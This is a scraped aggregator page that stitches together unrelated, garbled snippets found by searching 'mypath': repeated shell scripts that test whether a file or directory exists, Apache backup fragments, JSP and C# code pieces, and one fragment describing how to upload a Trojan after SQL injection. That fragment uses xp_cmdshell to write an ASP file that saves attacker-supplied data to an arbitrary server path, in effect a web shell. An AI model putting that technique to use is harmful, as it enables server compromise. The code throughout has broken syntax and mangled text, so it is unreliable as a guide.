It is necessary to automatically back up a piece of something on a Linux server at regular intervals, and then use the shell script to write it. Here to backup Apache server as an example, in order to facilitate the walkthrough, the use of Apache here is installed with Yun, if you want to the source of Apache installation of automatic backup, just change the corresponding code.[Email protected] ~]# VI bak_web1.sh#!/bin/bash#name: bak_web.sh#description: This is used-to-back web scriptMypath= "/v
Web|xml uses (ii) the two functions I wrote (in package SRC) to implement the Web page operation.
Index.html:
Value= "C:\\eclipse\\workspace\\myxml\\xmldata\\11.xml" >
Page create.jsp to write:
String Mypath= (String) request.getparameter ("MyPath");
String mytitle= (String) request.getparameter ("MyTitle");
String mycontent= (String) request.getparameter ("mycontent");
Sender, painteventargs E) { // Create path object Graphicspath mypath = New Graphicspath ();Pen P = New Pen (color. Red, 5 );Solidbrush sb = New Solidbrush (color. Gold ); Int W = This . Width; Int H = This . Height; // Pentagram // Point P1 = new point (W/2, 3 ); // Point P2 = new point (W/3, H-4 ); // Point P3 = new point (W-4, H/3 ); // Point P4 = new point (3, H/3 ); // Point P5 = new point (2 * w/3, H-
Implementing code One,
Mypath= "/var/log/httpd/" myfile= "/var/log/httpd/access.log" # Here's the-x parameter to determine if $mypath exists and has executable permissions if [!-X ' $myPath]; Then mkdir "$myPath" fi# here the-d parameter to determine if $mypath exists if [!
The shell determines whether the file, directory exists, or has permissions#!/bin/sh mypath= "/var/log/httpd/" myfile= "/var/log/httpd/access.log" #这里的-x parameter Judging $ Whether the MyPath exists and has enforceable permissions if [!-X ' $myPath]; then mkdir "$myPath" fi #这里的-D parameter to determine if
#!/bin/sh mypath= "/var/log/httpd/" myfile= "/var/log/httpd/access.log" #这里的-x parameter Judging $ Whether the MyPath exists and has enforceable permissions if [!-X ' $myPath]; then mkdir "$myPath" fi #这里的-D parameter to determine if $mypath exists if [!-D "$
The shell determines whether the file exists in 1. The shell determines whether the file, directory exists, or has permissions2. #!/bin/sh3.4. Mypath= "/var/log/httpd/"5. myfile= "/var/log/httpd/access.log"6.7. # the-x parameter here determines whether the $mypath exists and has executable permissions8. If [!-X "$myPath"]; Then9. mkdir "$
Copy Code code as follows:
#!/bin/sh
Mypath= "/var/log/httpd/"
Myfile= "/var/log/httpd/access.log"
#这里的-x parameter to determine whether $mypath exists and has executable permissions
if [!-X "$myPath"]; Then
mkdir "$myPath"
Fi
#这里的-D parameter to determine whether $
Shell checks whether a file exists #! /Bin/sh # shell checks whether the directory exists or has the permission mypath = "/var/log/httpd/" myfile = "/var/log/httpd/access. log "# Here, the-x parameter determines whether $ mypath exists and has executable permissions. If [! -X "$ mypath"]; thenmkdir "$ mypath" fi # Here
After SQL injection, how to upload Trojans has always been a headache. Here I provide another method for uploading Trojans.1. During SQL injection, xp_mongoshell is used to write an ASP file that can write files to the server.File Content:Set objfso = server. Createobject("Scripting. FileSystemObject ")
Set objcountfile = objfso. createtextfile(Request ("mypath"), true)
Objcountfile. Write Request ("mydata ")Objcountfile. Close%>This file can be writt
Shell Determines whether a file exists1. Shell to determine the file, whether the directory exists or has permissions2. #!/bin/sh3.4. Mypath= "/var/log/httpd/"5. Myfile= "/var/log/httpd/access.log"6.7. # the-x parameter here determines whether the $mypath exists and has executable permissions8. If [!-X "$myPath"]; Then9. mkdir "$
Implement code One,
#!/bin/sh # to
determine if a file exists
# link:www.jb51.net
# date:2013/2/28
mypath= '/var/log/httpd/
' myfile= ' Var/log/httpd/access.log "
# Here's the-x parameter to determine if $mypath exists and has executable permissions if
[!-X" $myPath "]; then
mkdir" $myPath " C10/>fi
# Here t
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.